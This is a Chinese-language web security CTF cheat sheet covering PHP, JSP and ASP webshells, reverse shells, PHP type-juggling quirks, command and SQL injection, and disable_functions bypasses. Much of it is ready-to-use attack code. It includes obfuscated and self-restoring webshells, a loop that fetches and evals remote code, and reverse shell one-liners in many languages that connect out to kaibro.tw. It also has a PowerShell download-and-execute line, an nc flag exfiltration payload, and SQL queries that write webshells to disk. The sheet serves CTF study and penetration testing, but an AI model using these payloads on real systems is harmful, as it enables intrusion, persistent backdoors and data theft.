- Webshell
- Reverse Shell
- PHP Tag
- PHP Weak Type
- PHP Feature
- Command Injection
- SQL Injection
- LFI
- Upload
- Serialization
- SSTI / CSTI
- SSRF
- XXE
- Prototype Pollution
- Frontend
- Crypto
- Others
- Tools and Website
<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php
// 無回顯後門
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B解法:restart
<?php
ignore_user_abort(true); // 忽略連線中斷
set_time_limit(0); // 設定無執行時間上限
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>解法:restart
<?php
unlink(__FILE__);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?> - 無回顯:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
- 有回顯:
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
- Unicode webshell:
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>
(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)
- JSPX webshell:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>- CP037 webshell:
Lo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25
(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)
- EL webshell:
${Runtime.getRuntime().exec("touch /tmp/pwned")}
<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
- 一般:
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
- 上傳:
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
-
本機Listen Port
ncat -vl 5566
-
Perl
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
Bash
bash -i >& /dev/tcp/kaibro.tw/5566 0>&1bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
-
PHP
php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
-
NC
nc -e /bin/sh kaibro.tw 5566
-
Telnet
mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
-
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-
Node.js
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
-
Java
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();java.lang.Runtime.exec()payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
-
Powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd
<? ?>- short_open_tag 決定是否可使用短標記
- 或是編譯php時 --enable-short-tags
<?=- 等價 <? echo
- 自
PHP 5.4.0起,always work!
<% %>、<%=- 自
PHP 7.0.0起,被移除 - 須將
asp_tags設成On
- 自
<script language="php"- 自
PHP 7.0.0起,被移除 <script language="php">system("id"); </script>
- 自
-
var_dump('0xABCdef' == ' 0xABCdef');- true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
-
var_dump('0010e2' == '1e3’);- true
-
strcmp([],[])- 0
-
sha1([])- NULL
-
'123' == 123 -
'abc' == 0 -
'123a' == 123 -
'0x01' == 1- PHP 7.0 後,16 進位字串不再當成數字
- e.g
var_dump('0x01' == 1)=> false
-
'' == 0 == false == NULL -
md5([1,2,3]) == md5([4,5,6]) == NULL- 可用在登入繞過 (用戶不存在,則 password 為 NULL)
-
var_dump(md5(240610708));- 0e462097431906509019562988736854
-
var_dump(sha1(10932435112));- 0e07766915004133176347055865026311692244
-
$a="123"; $b="456"$a + $b == "579";$a . $b == "123456"
-
$a = 0; $b = 'x';$a == false=> true$a == $b=> true$b == true=> true
-
$a = 'a'++$a=>'b'$a+1=>1
- 32位元
intval('1000000000000')=>2147483647
- 64位元
intval('100000000000000000000')=>9223372036854775807
-
php -r "var_dump(1.000000000000001 == 1);"- false
-
php -r "var_dump(1.0000000000000001 == 1);"- true
-
$a = 0.1 * 0.1; var_dump($a == 0.01);- false
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));1
ereg和eregi在 PHP 7.0.0 已經被移除
- 四捨五入
var_dump(intval('5278.8787'));5278
intval(012)=> 10intval("012")=> 12
extract($_GET);.php?_SESSION[name]=adminecho $_SESSION['name']=> 'admin'
- 會把字串前後的空白(或其他字元)去掉
- 未指定第二參數,預設會去掉以下字元
" "(0x20)"\t"(0x09)"\n"(0x0A)"\x0B"(0x0B)"\r"(0x0D)"\0"(0x00)
- 可以發現預設不包含
"\f"(0x0C)- 比較:
is_numeric()允許\f在開頭
- 比較:
- 如果參數是 unset 或空的變數,回傳值是空字串
-
is_numeric(" \t\r\n 123")=>true -
is_numeric(' 87')=>true -
is_numeric('87 ')=>false -
is_numeric(' 87 ')=>false -
is_numeric('0xdeadbeef')- PHP >= 7.0.0 =>
false - PHP < 7.0.0 =>
true - 可以拿來繞過注入
- PHP >= 7.0.0 =>
-
以下亦為合法(返回 True)字串:
' -.0''0.'' +2.1e5'' -1.5E+25''1.e5'
in_array('5 or 1=1', array(1, 2, 3, 4, 5))- true
in_array('kaibro', array(0, 1, 2))- true
in_array(array(), array('kai'=>false))- true
in_array(array(), array('kai'=>null))- true
in_array(array(), array('kai'=>0))- false
in_array(array(), array('kai'=>'bro'))- false
in_array('kai', array('kai'=>true))- true
in_array('kai', array('kai'=>'bro'))- false
in_array('kai', array('kai'=>0))- true
in_array('kai', array('kai'=>1))- false
mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])- 在
haystack陣列中,搜尋needle的值,成功則返回 index,失敗返回 False
- 在
$strict為 false 時,採用不嚴格比較- 預設是 False
- Example
$arr=array(1,2,0); var_dump(array_search('kai', $arr))int(2)
$arr=array(1,2,0); var_dump(array_search('1', $arr))int(0)
-
parse_str(string, array) -
會把查詢字串解析到變數中
-
如果未設置第二個參數,會解析到同名變數中
- PHP7.2 中不設置第二個參數會產生
E_DEPRECATED警告
- PHP7.2 中不設置第二個參數會產生
-
parse_str('gg[kaibro]=5566');array(1) { ["kaibro"]=> string(4) "5566" } -
PHP 變數有空格和
.,會被轉成底線parse_str("na.me=kaibro&pass wd=ggininder",$test); var_dump($test); array(2) { ["na_me"]=> string(6) "kaibro" ["pass_wd"]=> string(9) "ggininder" }
-
在處理傳入的 URL 會有問題
-
parse_url('/a.php?id=1')array(2) { ["host"]=> string(5) "a.php" ["query"]=> string(4) "id=1" } -
parse_url('//a/b')- host:
a
- host:
-
parse_url('..//a/b/c:80')- host:
.. - port:
80 - path:
//a/b/c:80
- host:
-
parse_url('///a.php?id=1')- false
-
parse_url('/a.php?id=1:80')- PHP < 7.0.0
false
- PHP >= 7.0.0
array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" }
- PHP < 7.0.0
-
parse_url('http://kaibro.tw:87878')- 5.3.X版本以下
array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }
- 其他: false
- 5.3.X版本以下
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )- 搜尋
$subject中匹配的$pattern,並用$replacement替換
- 搜尋
- 第一個參數用
/e修飾符,$replacement會被當成 PHP code 執行- 必須有匹配到才會執行
- PHP 5.5.0 起,會產生
E_DEPRECATED錯誤 - PHP 7.0.0 不再支援,用
preg_replace_callback()代替
example:
<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);- 對格式化字串的類型沒檢查
- 格式化字串中 % 後面的字元(除了 % 之外)會被當成字串類型吃掉
- 例如
%\、%'、%1$\' - 在某些 SQLi 過濾狀況下,
%' and 1=1#中的單引號會被轉義成\',%\又會被吃掉,'成功逃逸 - 原理:sprintf 實作是用 switch...case...
- 碰到未知類型,
default不處理
- 碰到未知類型,
- 例如
- 第二個參數如果是陣列,PHP會把它串接成字串
- example:
<?php $test = $_GET['txt']; if(preg_match('[<>?]', $test)) die('bye'); file_put_contents('output', $test);
- 可以直接
?txt[]=<?php phpinfo(); ?>寫入
- 可以直接
spl_autoload_register()可以自動載入 Class- 不指定參數,會自動載入
.inc和.php - Example:
- 如果目錄下有 kaibro.inc,且內容為 class Kaibro{...}
- 則
spl_autoload_register()會把這個 Class 載入進來
a.php/.file_put_contents("a.php/.", "<?php phpinfo() ?>");- 可成功寫入
- 經測試 Windows 可以覆寫、Linux 無法
- 可以繞過一些正規表達式判斷
- 可成功寫入
file_get_contents("a.php/.");- 經測試 Windows 下可成功讀、Linux 無法
- 還有很多其他 function 也適用
"=>.a"php
>=>?a.p>pa.>>>
<=>*a.<
$_GET會對傳入的參數做 URLdecode 再返回$_SERVER['REQUEST_URI']和$_SERVER['QUERY_STRING']則是直接返回
Example:
Request: http://kaibro.tw/test.php?url=%67%67
-
$_GET:
[url] => gg -
$_SERVER['REQUEST_URI']:
/test.php?url=%67%67 -
$_SERVER['QUERY_STRING']:
url=%67%67
-
透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能
-
相關設定在 php.ini 中
opcache.enable是否啟用opcache.file_cache設定 cache 目錄- 例如:
opcache.file_cache="/tmp/opcache" /var/www/index.php的暫存會放在/tmp/opcache/[system_id]/var/www/index.php.bin
- 例如:
opcache.file_cache_only設定 cache 文件優先級opcache.validate_timestamps是否啟用 timestamp 驗證
-
system_id是透過 Zend 和 PHP 版本號計算出來的,可以確保相容性 -
所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell
- system_id 要和目標機器一樣
- timestamp 要一致
-
https://github.com/GoSecure/php7-opcache-override
- Disassembler 可以把 Byte code 轉成 Pseudo code
-
Example
- PHP 的 PCRE 庫使用 NFA 作為正規表達式引擎
- NFA 在匹配不上時,會回溯嘗試其他狀態
- PHP 為防止 DOS,設定了 PCRE 回溯次數上限
pcre.backtrack_limit- 預設為
1000000
- 回溯次數超過上限時,
preg_match()會返回false - Example
- Code-Breaking Puzzles - pcrewaf
- N1CTF 2019 - sql_manage
- glob 列目錄
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));- symlinks
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');-
Fastcgi
-
...
-
bash shellshock
-
mail()
sendmail- putenv寫LD_PRELOAD
- trick: LD_PRELOAD without sendmail/getuid()
-
mb_send_mail()
- 跟 mail() 基本上一樣
-
imap_mail()
- 同上
-
imap_open()
<?php $payload = "echo hello|tee /tmp/executed"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash"; @imap_open('{'.$server.'}:143/imap}INBOX', '', '');
-
error_log()
- 第二個參數
message_type為 1 時,會去調用 sendmail
- 第二個參數
-
ImageMagick
-
LD_PRELOAD + ghostscript:
- Imagemagick 會用 ghostscript去parse
eps - Link
- Imagemagick 會用 ghostscript去parse
-
LD_PRELOAD + ffpmeg
-
MAGICK_CODER_MODULE_PATH
-
MAGICK_CONFIGURE_PATH
delegates.xml定義處理各種文件的規則- 可以用 putenv 寫掉設定檔路徑
- Link
<delegatemap> <delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/> </delegatemap>
-
蓋
PATH+ ghostscript:- 造一個執行檔 gs
#include <stdlib.h> #include <string.h> int main() { unsetenv("PATH"); const char* cmd = getenv("CMD"); system(cmd); return 0; }
putenv('PATH=/tmp/mydir'); putenv('CMD=/readflag > /tmp/mydir/output'); chmod('/tmp/mydir/gs','0777'); $img = new Imagick('/tmp/mydir/1.ept');
-
dl()
- 載入 module
dl("rce.so")- This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.
-
FFI
- PHP 7.4 feature
- preloading + ffi
- e.g. RCTF 2019 - nextphp
<?php $ffi = FFI::cdef("int system (const char* command);"); $ffi->system("id");
-
Windows COM
- 條件
com.allow_dcom = trueextension=php_com_dotnet.dll
- PoC:
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); // Shell.Application 也可 $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;
- 條件
-
iconv
- https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
- 條件
- 可以上傳
.so,gconv-modules - 可以設定環境變數
- 可以上傳
iconv(),iconv_strlen(), php://filter的convert.iconv
-
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
-
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
-
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
- 7.4 - all versions to date
-
PHP SplDoublyLinkedList UAF Sandbox Escape
- https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/
- Affected
- PHP version 8.0 (alpha)
- PHP version 7.4.10 and prior (probably also future versions will be affected)
- Example
-
族繁不及備載......
-
大小寫不敏感
<?PhP sYstEm(ls);
-
echo (true ? 'a' : false ? 'b' : 'c');b
-
echo `whoami`;kaibro
-
正規表達式
.不匹配換行字元%0a -
正規表達式常見誤用:
preg_match("/\\/", $str)- 匹配反斜線應該要用
\\\\而不是\\
-
運算優先權問題
$a = true && false;$a=>false
$a = true and false;$a=>true
-
chr()
- 大於 256 會 mod 256
- 小於 0 會加上 256 的倍數,直到 >0
- Example:
chr(259) === chr(3)chr(-87) === chr(169)
-
遞增
$a="9D9"; var_dump(++$a);string(3) "9E0"
$a="9E0"; var_dump(++$a);float(10)
-
算數運算繞Filter
%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7fsystem- 可用在限制不能出現英數字時 or 過濾某些特殊符號
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');assert
- 其他
~,++等運算,也都可用類似概念構造
-
花括號
- 陣列、字串元素存取可用花括號
$array{index}同$array[index]
-
filter_var
filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)- False
filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)- True
filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)"aaaaa{}[]()'|!#$%*&^-_=+,."@b.c` (OK)
filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)aaa."bbb"@b.c(OK)
filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)- False
-
json_decode
- 不直接吃換行字元和 \t 字元
- 但可以吃 '\n' 和 '\t'
- 會轉成換行字元和 Tab
- 也吃
\uxxxx形式json_decode('{"a":"\u0041"}')
-
=== bug
var_dump([0 => 0] === [0x100000000 => 0])- 某些版本會是 True
- ASIS 2018 Qual Nice Code
- https://3v4l.org/sUEMG
-
openssl_verify
- 預測採用 SHA1 來做簽名,可能有 SHA1 Collision 問題
- e.g. DEFCON CTF 2018 Qual - EasyPisy
-
Namespace
- PHP 的預設 Global space 是
\ - e.g.
\system('ls');
- PHP 的預設 Global space 是
-
basename (php bug 62119)
basename("index.php/config.php/喵")config.php
- Example: zer0pts CTF 2020 - Can you guess it?
-
strip_tags (php bug 78814)
- php version <= 7.4.0
strip_tags("<s/trong>b</strong>", "<strong>")<s/trong>b</strong>
- Example: zer0pts CTF 2020 - MusicBlog
-
mb_strpos / mb_substr
- 當
mb_strpos讀到 utf-8 leading byte ,他會繼續嘗試往下讀; 遇到 invalid byte 時,前面的內容會被當成一個 character- Example:
mb_strpos("\xf0\x9fAAA<BB", '<')->4
- Example:
- 而
mb_substr則有不一致,當遇到 leading byte 時,會跳過 continuation bytes- Example:
mb_substr("\xf0\x9fAAA<BB", 0, 4)->"\xf0\x9fAAA<B"
- Example:
- ref: Joomla XSS
- 當
-
Reflection
- PHP8.1 Reflection 可以呼叫 protected/private 函數
<?php class ApiController { protected function protectedMethod() { echo "protected"; } public function handle($method) { $refMethod = new ReflectionMethod($this, $method); $refMethod->invoke($this); } } $api = new ApiController(); $api->handle('protectedMethod'); # php 8.1+: protected # < php 8.1: Fatal error
| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /
?match one charactercat fl?g/???/??t /???/p??s??
*match 多個cat f*cat f?a*
${IFS}cat${IFS}flagls$IFS-alhcat$IFS$2flag
cat</etc/passwd{cat,/etc/passwd}X=$'cat\x20/etc/passwd'&&$XIFS=,;`cat<<<uname,-a`- bash only
-
String Concat
A=fl;B=ag;cat $A$B
-
Empty Variable
cat fl${x}agcat tes$(z)t/flag
-
Environment Variable
$PATH => "/usr/local/….blablabla”${PATH:0:1} => '/'${PATH:1:1} => 'u'${PATH:0:4} => '/usr'
${PS2}>
${PS4}+
-
Empty String
cat fl""agcat fl''agcat "fl""ag"
-
反斜線
c\at fl\ag
- CVE-2016-3714 (ImageTragick)
mvg格式包含 https 處理(使用 curl 下載),可以閉合雙引號- payload:
push graphic-context viewbox 0 0 640 480 fill 'url(https://kaibro.tw";ls "-la)' pop graphic-context - Example
- Google CTF 2019 - GPhotos
Some Debians appear to have insecure ImageMagick configuration by default- read file:
<?xml version="1.0" encoding="UTF-8"?> <svg width="120px" height="120px"> <image width="120" height="120" href="text:/etc/passwd" /> </svg>
- copy file (MSL):

- TokyoWesterns CTF 2018 - Slack emoji converter
- ghostscript RCE
- TokyoWesterns CTF 2019 - Slack emoji converter Kai
- ghostscript RCE
- Google CTF 2019 - GPhotos
open("| ls")IO.popen("ls").readKernel.exec("ls")Kernel.method("open").call("|ls").read()`ls`system("ls")eval("ruby code")- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
$$/$$=> 1'' << 97 << 98 << 99=> "abc"$:即$LOAD_PATH
- Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
exec("ls")%x{ls}/%x'ls'/%x[ls]/%x(ls)/%x;ls;"Process".constantize.spawn("id")Process.spawn("id")PTY.spawn("id")- Net::FTP
- CVE-2017-17405
- use
Kernel#open
os.system("ls")os.popen("ls").read()os.execl("/bin/ls","")os.execlp("ls","")os.execv("/bin/ls",[''])os.execvp("/bin/ls",[""])subprocess.call("ls")subprocess.call("ls|cat",shell=False)=> Failsubprocess.call("ls|cat",shell=True)=> Correct
eval("__import__('os').system('ls')")exec("__import__('os').system('ls')")commands.getoutput('ls')
- diff /etc/passwd /flag
- paste /flag
- bzmore /flag
- bzless /flag
- static-sh /flag
- ...
-
子字串:
substr("abc",1,1) => 'a'mid("abc", 1, 1) => 'a'
-
Ascii function
ascii('A') => 65
-
Char function
char(65) => 'a'
-
Concatenation
CONCAT('a', 'b') => 'ab'- 如果任何一欄為 NULL,則返回 NULL
CONCAT_WS(分隔符, 字串1, 字串2...)CONCAT_WS('@', 'gg', 'inin')=>gg@inin
-
Cast function
CAST('125e342.83' AS signed) => 125CONVERT('23',SIGNED) => 23
-
Delay function
sleep(5)BENCHMARK(count, expr)
-
空白字元
09 0A 0B 0C 0D A0 20
-
File-read function
LOAD_FILE('/etc/passwd')LOAD DATA INFILE- Client 讀 Server 文件
- 一樣受
secure_file_priv,FILEprivilege 限制 (ref: link)
LOAD DATA LOCAL INFILE-
Server 讀 Client 文件
-
LOAD DATA LOCAL INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY "\n"; -
不需要
FILEprivilege,且任意目錄檔案皆可讀 (只要 Client 有權限即可) -
support UNC Path
LOAD DATA LOCAL INFILE '\\\\172.16.136.153\\test' into table mysql.test FIELDS TERMINATED BY "\n";- stealing net-NTLM hash
-
Trigger phar deserialization
LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a LINES TERMINATED BY '\n'- 非 default 設置
[mysqld] local-infile=1 secure_file_priv=""
-
Tool
-
Example
-
- load_file with WebDAV
load_file('//kaibro.tw@9478/meow.php')/load_file('\\\\kaibro.tw@9478/meow.php')- Windows 環境有開 WebClient Service 時,可以透過 MySQL load_file + UNC Path 發送 HTTP Reuqest 到指定 URL (透過
@指定 Port) - 實戰中,站庫分離環境,若後端 MySQL 主機有開 Web 環境,則可透過該方法先寫 webshell 再送 http request 觸發執行
- Windows 環境有開 WebClient Service 時,可以透過 MySQL load_file + UNC Path 發送 HTTP Reuqest 到指定 URL (透過
- Example
-
File-write
INTO DUMPFILE- 適用 binary (寫入同一行)
INTO OUTFILE- 適用一般文本 (有換行)
- 寫webshell
- 需知道可寫路徑
UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
- 權限
SELECT file_priv FROM mysql.user
- secure-file-priv
- 限制 MySQL 導入導出
- load_file, into outfile, load data 等
- 運行時無法更改
- MySQL 5.5.53 前,該變數預設為空(可以導入導出)
- e.g.
secure_file_priv=E:\- 限制導入導出只能在 E:\ 下
- e.g.
secure_file_priv=null- 限制不允許導入導出
- secure-file-priv 限制下用 general_log 拿 shell
SET global general_log='on'; SET global general_log_file='C:/phpStudy/WWW/cmd.php'; SELECT '<?php assert($_POST["cmd"]);?>'; - 限制 MySQL 導入導出
-
IF語句
- IF(condition,true-part,false-part)
SELECT IF (1=1,'true','false')
-
Hex
SELECT X'5061756c'; => paulSELECT 0x5061756c; => paulSELECT 0x5061756c+0 => 1348564332SELECT load_file(0x2F6574632F706173737764);- /etc/passwd
- 可繞過一些 WAF
- e.g. 用在不能使用單引號時(
'=>\') - CHAR() 也可以達到類似效果
'admin'=>CHAR(97, 100, 109, 105, 110)
- e.g. 用在不能使用單引號時(
-
註解:
#--/**/- 一個
*/可以閉合前面多個/*
- 一個
/*! 50001 select * from test */- 可探測版本
- e.g.
SELECT /*!32302 1/0, */ 1 FROM tablename
- `
- MySQL <= 5.5
;- PDO 支援多語句
-
information_schema
- mysql >= 5.0
-
Stacking Query
- 預設 PHP+MySQL 不支援 Stacking Query
- 但 PDO 可以 Stacking Query
-
其它:
- @@version
- 同 version()
- user()
- current_user
- current_user()
- SESSION_USER()
- SYSTEM_USER()
- current user
- system_user()
- database system user
- database()
- schema()
- current database
- @@basedir
- MySQL 安裝路徑
- @@datadir
- Location of db file
- @@plugin_dir
- @@hostname
- @@version_compile_os
- Operating System
- @@version_compile_machine
- @@innodb_version
- @@global.secure_file_priv
- MD5()
- SHA1()
- COMPRESS() / UNCOMPRESS()
- group_concat()
- 合併多條結果
- e.g.
select group_concat(username) from users;一次返回所有使用者名
- e.g.
- group_concat_max_len = 1024 (default)
- 合併多條結果
- json_arrayagg()
- MySQL >= 5.7.22
- 概念同上
- e.g.
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES
- e.g.
- greatest()
